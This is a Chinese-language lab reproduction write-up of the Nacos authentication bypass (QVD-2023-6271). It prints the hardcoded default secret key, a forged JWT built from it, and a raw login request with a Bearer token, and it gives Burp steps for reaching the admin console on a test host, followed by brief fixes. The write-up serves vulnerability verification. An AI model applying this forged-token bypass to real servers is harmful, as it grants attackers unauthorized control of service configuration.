QVD-2023-6271 Nacos身份认证绕过漏洞验证

一、漏洞简介

  Nacos是一个易于使用的平台,专为动态服务发现和配置以及服务管理而设计。可以帮助您轻松构建云原生应用程序和微服务平台。

  目前Nacos 身份认证绕过漏洞(QVD-2023-6271),也叫做NVDB-CNVDB-2023674205,暂无CVE编号,开源服务管理平台Nacos在默认配置下未对token.secret.key进行修改,导致远程攻击者可以绕过密钥认证进入后台,造成系统受控等后果。

二、影响版本

0.1.0 <= Nacos <= 2.2.0

三、环境搭建

在github下载有漏洞的版本 https://github.com/alibaba/nacos/releases

wget https://github.com/alibaba/nacos/releases/download/2.2.0/nacos-server-2.2.0.tar.gz
cd nacos/bin
sh startup.sh -m standalone

虚构一个账号密码:abcde / abcdef

四、漏洞复现

1、找到nacos默认key

在0.1.0 <= Nacos <= 2.2.0中,token.secret.key值是固定死的,位置在conf下的application.properties中:

SecretKey012345678901234567890123456789012345678901234567890123456789

2、利用该key构造JWT

https://jwt.io/ http://time.is46.com/

payload:

{
   "sub": "nacos",
   "exp": 1687513306
}
//1687513306是unix的时间戳 需要比系统晚 我的时间戳是2023/6/23 17:41:46

得到Encoded JWT密文:

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTY4NzUxMzMwNn0.tht3Wj56nhwjdvrpSrru7btKF39-qMC15Bl3oG8Jt3s

3、burp发送构造的数据包,获取cookie

Firefox设置代理,用构造的账号密码登录(账、密随便虚构一个,实际上nacos不存在这个账号)

burp拦截并修改数据包,添加 Authorization行的JWT密文,然后发送:

请求包

POST /nacos/v1/auth/users/login HTTP/1.1
Host: 192.168.21.6:8848
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:109.0) Gecko/20100101 Firefox/112.0
Accept: application/json, text/plain, */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 30
Origin: http://192.168.21.6:8848
Connection: close
Referer: http://192.168.21.6:8848/nacos/index.html
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTY4NzUxMzMwNn0.tht3Wj56nhwjdvrpSrru7btKF39-qMC15Bl3oG8Jt3s

username=abcde&password=abcdef

截取登录 返回包中的cookie:

Cookie: JSESSIONID=127508D316CF09C2F11E3E96C207F15C

4、利用获取的cookie登录后台

第1步,burp开启拦截,用构造的账号密码登录:

把上面的cookie粘贴到username上面

第2步,右击选择Do intercept–>Response to request

第3步,点击 Forward放包

发现这里报500错,没关系

第4步,回到上面获取cookie那一步 【3、burp发送构造的数据包,获取cookie】

将 框中的 响应包全部复制下来,粘贴到这里面 ,点击放包!!!

第5步,关闭代理,查看浏览器,成功绕过

五、修复方法

1、自行修改key(未验证)

2、更新到2.2.0以上版本